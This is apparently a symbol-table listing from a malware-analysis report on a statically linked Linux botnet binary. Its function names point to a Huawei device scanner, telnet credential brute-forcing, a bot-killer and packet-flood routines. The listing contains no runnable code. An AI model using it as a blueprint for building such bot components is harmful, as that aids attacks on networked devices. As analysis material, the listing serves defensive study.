__libc_poll	.symtab	0x4137c0	41	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x40d1a8	39	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x40f8e0	11	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x40f8ec	45	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x40d1d0	44	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x40f91c	11	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x40f928	48	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x411a01	247	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x520d50	8	OBJECT	<unknown>	DEFAULT	10
__libc_waitpid	.symtab	0x40d27c	7	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x40d284	42	FUNC	<unknown>	DEFAULT	2
__malloc_consolidate	.symtab	0x4108b1	410	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x40fafc	96	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x51a720	40	OBJECT	<unknown>	DEFAULT	9
__malloc_state	.symtab	0x521060	1752	OBJECT	<unknown>	DEFAULT	10
__malloc_trim	.symtab	0x410818	153	FUNC	<unknown>	DEFAULT	2
__nameserver	.symtab	0x521760	24	OBJECT	<unknown>	HIDDEN	10
__nameservers	.symtab	0x521778	4	OBJECT	<unknown>	HIDDEN	10
__open_etc_hosts	.symtab	0x41484c	42	FUNC	<unknown>	HIDDEN	2
__open_nameservers	.symtab	0x4134e0	597	FUNC	<unknown>	HIDDEN	2
__pagesize	.symtab	0x520d60	8	OBJECT	<unknown>	DEFAULT	10
__preinit_array_end	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__preinit_array_start	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__pthread_initialize_minimal	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__pthread_mutex_init	.symtab	0x411792	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x411792	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x411792	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x411792	3	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x411792	3	FUNC	<unknown>	DEFAULT	2
__pthread_return_void	.symtab	0x411795	1	FUNC	<unknown>	DEFAULT	2
__raise	.symtab	0x413768	18	FUNC	<unknown>	HIDDEN	2
__read_etc_hosts_r	.symtab	0x414876	830	FUNC	<unknown>	HIDDEN	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__resolv_lock	.symtab	0x51a8e0	40	OBJECT	<unknown>	DEFAULT	9
__restore_rt	.symtab	0x4119f8	0	NOTYPE	<unknown>	DEFAULT	2
__rtld_fini	.symtab	0x520d70	8	OBJECT	<unknown>	HIDDEN	10
__searchdomain	.symtab	0x521740	32	OBJECT	<unknown>	HIDDEN	10
__searchdomains	.symtab	0x52177c	4	OBJECT	<unknown>	HIDDEN	10
__sigaddset	.symtab	0x40fac0	28	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x40fadc	30	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x40faa0	32	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x51a4f8	8	OBJECT	<unknown>	DEFAULT	9
__stdio_READ	.symtab	0x4139d4	58	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x411fd4	147	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x413a10	133	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x412068	259	FUNC	<unknown>	HIDDEN	2
__stdio_init_mutex	.symtab	0x40d91b	15	FUNC	<unknown>	HIDDEN	2
__stdio_mutex_initializer.4280	.symtab	0x418e20	40	OBJECT	<unknown>	DEFAULT	4
__stdio_rfill	.symtab	0x413a98	37	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x413b1c	31	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x413ac0	90	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x41216c	148	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x40d9b4	39	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x51a500	8	OBJECT	<unknown>	DEFAULT	9
__syscall_error	.symtab	0x411af8	22	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uClibc_fini	.symtab	0x41174c	70	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x4117cb	67	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x41180e	489	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x51a8c8	8	OBJECT	<unknown>	HIDDEN	9
__vfork	.symtab	0x40ce30	21	FUNC	<unknown>	HIDDEN	2
__xpg_strerror_r	.symtab	0x40f2f4	194	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat64_conv	.symtab	0x411d94	172	FUNC	<unknown>	HIDDEN	2
__xstat_conv	.symtab	0x411e40	172	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0x40d9dc	68	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_dl_aux_init	.symtab	0x41377c	23	FUNC	<unknown>	DEFAULT	2
_dl_phdr	.symtab	0x521780	8	OBJECT	<unknown>	DEFAULT	10
_dl_phnum	.symtab	0x521788	8	OBJECT	<unknown>	DEFAULT	10
_edata	.symtab	0x51a908	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x521790	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_errno	.symtab	0x520d7c	4	OBJECT	<unknown>	DEFAULT	10
_exit	.symtab	0x40ceac	42	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x414e28	5	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x51eb00	8192	OBJECT	<unknown>	DEFAULT	10
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x40da20	120	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x412344	1608	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_h_errno	.symtab	0x520d80	4	OBJECT	<unknown>	DEFAULT	10
_init	.symtab	0x4000e8	5	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x412200	85	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_init	.symtab	0x40e0d4	114	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x40e386	1022	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x40e148	67	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x40e18c	457	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x40e358	46	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x411795	1	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x411795	1	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_sigintr	.symtab	0x520fe0	128	OBJECT	<unknown>	HIDDEN	10
_start	.symtab	0x400194	42	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x40d688	551	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x40d8b0	107	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x51a508	8	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_add_lock	.symtab	0x51a520	40	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_dec_use	.symtab	0x413b3c	216	FUNC	<unknown>	DEFAULT	2
_stdio_openlist_del_count	.symtab	0x51eae4	4	OBJECT	<unknown>	DEFAULT	10
_stdio_openlist_del_lock	.symtab	0x51a560	40	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_use_count	.symtab	0x51eae0	4	OBJECT	<unknown>	DEFAULT	10
_stdio_streams	.symtab	0x51a5a0	384	OBJECT	<unknown>	DEFAULT	9
_stdio_term	.symtab	0x40d92a	135	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x51a588	4	OBJECT	<unknown>	DEFAULT	9
_stdlib_strto_l	.symtab	0x411130	362	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x412258	46	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x418f60	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x412288	187	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x40da98	1595	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x410c2c	276	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
access	.symtab	0x40ced8	41	FUNC	<unknown>	DEFAULT	2
access.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
acnc	.symtab	0x404ed3	164	FUNC	<unknown>	DEFAULT	2
add_auth_entry	.symtab	0x40c085	418	FUNC	<unknown>	DEFAULT	2
add_entry	.symtab	0x4090da	99	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x411110	18	FUNC	<unknown>	DEFAULT	2
atoi.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
auth_table	.symtab	0x51eac8	8	OBJECT	<unknown>	DEFAULT	10
auth_table_len	.symtab	0x51ea80	4	OBJECT	<unknown>	DEFAULT	10
auth_table_max_weight	.symtab	0x51ead0	2	OBJECT	<unknown>	DEFAULT	10
bcopy	.symtab	0x40f3b8	14	FUNC	<unknown>	DEFAULT	2
bcopy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
been_there_done_that	.symtab	0x520d40	4	OBJECT	<unknown>	DEFAULT	10
been_there_done_that.3160	.symtab	0x520d78	4	OBJECT	<unknown>	DEFAULT	10
bin_names	.symtab	0x51a1a0	224	OBJECT	<unknown>	DEFAULT	9
bin_strings	.symtab	0x51a280	200	OBJECT	<unknown>	DEFAULT	9
botkiller	.symtab	0x401601	1708	FUNC	<unknown>	DEFAULT	2
brk	.symtab	0x413794	43	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x40f9f8	168	FUNC	<unknown>	DEFAULT	2
buf.5285	.symtab	0x520b20	500	OBJECT	<unknown>	DEFAULT	10
c	.symtab	0x51a488	4	OBJECT	<unknown>	DEFAULT	9
calloc	.symtab	0x4103c4	248	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
can_consume	.symtab	0x40c590	64	FUNC	<unknown>	DEFAULT	2
check_exe	.symtab	0x401594	109	FUNC	<unknown>	DEFAULT	2
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0x4001c0	113	FUNC	<unknown>	DEFAULT	2
checksum_tcp_udp	.symtab	0x400231	222	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0x40030f	222	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x40d460	46	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
clock_getres	.symtab	0x411b40	41	FUNC	<unknown>	DEFAULT	2
clock_getres.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x40cf04	41	FUNC	<unknown>	DEFAULT	2
close.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
closedir	.symtab	0x40d2f0	116	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.2761	.symtab	0x51a920	1	OBJECT	<unknown>	DEFAULT	10
conn_table	.symtab	0x520de0	8	OBJECT	<unknown>	DEFAULT	10
connect	.symtab	0x40f854	43	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
connectTimeout	.symtab	0x40330d	575	FUNC	<unknown>	DEFAULT	2
consume_any_prompt	.symtab	0x40bd45	164	FUNC	<unknown>	DEFAULT	2
consume_iacs	.symtab	0x40bb86	447	FUNC	<unknown>	DEFAULT	2
consume_pass_prompt	.symtab	0x40bef3	201	FUNC	<unknown>	DEFAULT	2
consume_resp_prompt	.symtab	0x40bfbc	201	FUNC	<unknown>	DEFAULT	2
consume_user_prompt	.symtab	0x40bde9	266	FUNC	<unknown>	DEFAULT	2
creat	.symtab	0x40d146	14	FUNC	<unknown>	DEFAULT	2
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
csum	.symtab	0x403644	115	FUNC	<unknown>	DEFAULT	2
data_start	.symtab	0x51a190	0	NOTYPE	<unknown>	DEFAULT	9
decodea.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
decoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
decodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
deobf	.symtab	0x40c49d	243	FUNC	<unknown>	DEFAULT	2
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dnslookup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dup2	.symtab	0x40cf30	44	FUNC	<unknown>	DEFAULT	2
dup2.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeq.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
environ	.symtab	0x520d58	8	OBJECT	<unknown>	DEFAULT	10
errno	.symtab	0x520d7c	4	OBJECT	<unknown>	DEFAULT	10
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
execl	.symtab	0x4112f8	287	FUNC	<unknown>	DEFAULT	2
execl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
execve	.symtab	0x411b6c	38	FUNC	<unknown>	DEFAULT	2
execve.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x41129c	92	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x419fe0	208	OBJECT	<unknown>	DEFAULT	4
fake_time	.symtab	0x51ead4	4	OBJECT	<unknown>	DEFAULT	10
fclose	.symtab	0x4137ec	259	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x40ce48	100	FUNC	<unknown>	DEFAULT	2
fcntl64	.symtab	0x40ce48	100	FUNC	<unknown>	DEFAULT	2
fdgets	.symtab	0x402df1	128	FUNC	<unknown>	DEFAULT	2
fdopen_pids	.symtab	0x51ea00	8	OBJECT	<unknown>	DEFAULT	10
fdpclose	.symtab	0x402c81	368	FUNC	<unknown>	DEFAULT	2
fdpopen	.symtab	0x402aa5	476	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x413c14	329	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x40e784	109	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x40e7f4	116	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
findRandIP	.symtab	0x403615	47	FUNC	<unknown>	DEFAULT	2
fmt	.symtab	0x419fc0	20	OBJECT	<unknown>	DEFAULT	4
fopen	.symtab	0x40d490	10	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x40cf5c	38	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputs_unlocked	.symtab	0x40e868	56	FUNC	<unknown>	DEFAULT	2
fputs_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
frame_dummy	.symtab	0x400150	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x410a4b	452	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseek	.symtab	0x4138f0	5	FUNC	<unknown>	DEFAULT	2
fseeko	.symtab	0x4138f0	5	FUNC	<unknown>	DEFAULT	2
fseeko.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseeko64	.symtab	0x4138f8	218	FUNC	<unknown>	DEFAULT	2
fseeko64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x411b94	82	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat64	.symtab	0x411b94	82	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked	.symtab	0x40e8a0	134	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getBuild	.symtab	0x406e43	6	FUNC	<unknown>	DEFAULT	2
getHost	.symtab	0x402fef	65	FUNC	<unknown>	DEFAULT	2
getOurIP	.symtab	0x406c59	490	FUNC	<unknown>	DEFAULT	2
get_hosts_byname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
get_random_ip	.symtab	0x40a9e7	4511	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	DEFAULT	2
getdtablesize	.symtab	0x40cf84	35	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x411be8	38	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x40cfa8	38	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x411c10	38	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname	.symtab	0x40f498	53	FUNC	<unknown>	DEFAULT	2
gethostbyname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname_r	.symtab	0x40f4d0	897	FUNC	<unknown>	DEFAULT	2
gethostbyname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x411c38	19	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x40cfd0	38	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x40cff8	38	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x40d020	40	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit64	.symtab	0x40d020	40	FUNC	<unknown>	DEFAULT	2
getsockname	.symtab	0x40f880	41	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x40f8ac	50	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x411c4c	38	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h.5284	.symtab	0x520d20	32	OBJECT	<unknown>	DEFAULT	10
h_errno	.symtab	0x520d80	4	OBJECT	<unknown>	DEFAULT	10
hacks	.symtab	0x51a348	4	OBJECT	<unknown>	DEFAULT	9
hacks2	.symtab	0x51a34c	4	OBJECT	<unknown>	DEFAULT	9
hacks3	.symtab	0x51a350	4	OBJECT	<unknown>	DEFAULT	9
hacks4	.symtab	0x51a354	4	OBJECT	<unknown>	DEFAULT	9
hakai_bp	.symtab	0x51a358	4	OBJECT	<unknown>	DEFAULT	9
hextable	.symtab	0x416160	2048	OBJECT	<unknown>	DEFAULT	4
htonl	.symtab	0x40f468	5	FUNC	<unknown>	DEFAULT	2
htons	.symtab	0x40f460	8	FUNC	<unknown>	DEFAULT	2
httphex	.symtab	0x405052	1245	FUNC	<unknown>	DEFAULT	2
huawei_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huaweiscanner_fake_time	.symtab	0x51a9c8	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_get_random_ip	.symtab	0x40121a	604	FUNC	<unknown>	DEFAULT	2
huaweiscanner_recv_strip_null	.symtab	0x4003f0	125	FUNC	<unknown>	DEFAULT	2
huaweiscanner_rsck	.symtab	0x51a984	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_rsck_out	.symtab	0x51a988	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_scanner_init	.symtab	0x40046d	3203	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_kill	.symtab	0x4010f0	22	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_pid	.symtab	0x51a980	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_scanner_rawpkt	.symtab	0x51a9a0	40	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_setup_connection	.symtab	0x401106	276	FUNC	<unknown>	DEFAULT	2
i.5876	.symtab	0x51a48c	4	OBJECT	<unknown>	DEFAULT	9
index	.symtab	0x40ea80	417	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x40f47c	28	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x412d0c	137	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_ntop	.symtab	0x41439c	527	FUNC	<unknown>	DEFAULT	2
inet_ntop4	.symtab	0x414284	280	FUNC	<unknown>	DEFAULT	2
inet_pton	.symtab	0x414097	493	FUNC	<unknown>	DEFAULT	2
inet_pton4	.symtab	0x414010	135	FUNC	<unknown>	DEFAULT	2
initConnection	.symtab	0x406af0	361	FUNC	<unknown>	DEFAULT	2
init_rand	.symtab	0x401dc1	125	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x410df6	110	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x411057	185	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x40d048	104	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isatty	.symtab	0x40f3d4	25	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
kill	.symtab	0x40d0b0	44	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
kill_bk	.symtab	0x401563	49	FUNC	<unknown>	DEFAULT	2
killer_status	.symtab	0x51a9f0	4	OBJECT	<unknown>	DEFAULT	10
killerid	.symtab	0x520de8	4	OBJECT	<unknown>	DEFAULT	10
lengthd.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lengthq.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/memcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/mempcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/memset.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strchr.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strcmp.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strlen.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strpbrk.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strspn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crt1.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crti.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crtn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/vfork.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listFork	.symtab	0x40354c	201	FUNC	<unknown>	DEFAULT	2
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek	.symtab	0x414bbc	45	FUNC	<unknown>	DEFAULT	2
lseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek64	.symtab	0x414bb4	5	FUNC	<unknown>	DEFAULT	2
macAddress	.symtab	0x51a9f4	6	OBJECT	<unknown>	DEFAULT	10
main	.symtab	0x406e49	1713	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
makeIPPacket	.symtab	0x403776	153	FUNC	<unknown>	DEFAULT	2
makeRandomStr	.symtab	0x403066	109	FUNC	<unknown>	DEFAULT	2
makevsepacket	.symtab	0x4048a3	169	FUNC	<unknown>	DEFAULT	2
malloc	.symtab	0x40fb5c	2149	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x410c0f	28	FUNC	<unknown>	DEFAULT	2
memchr	.symtab	0x412acc	240	FUNC	<unknown>	DEFAULT	2
memchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memcpy	.symtab	0x40e930	102	FUNC	<unknown>	DEFAULT	2
memmove	.symtab	0x40edf4	734	FUNC	<unknown>	DEFAULT	2
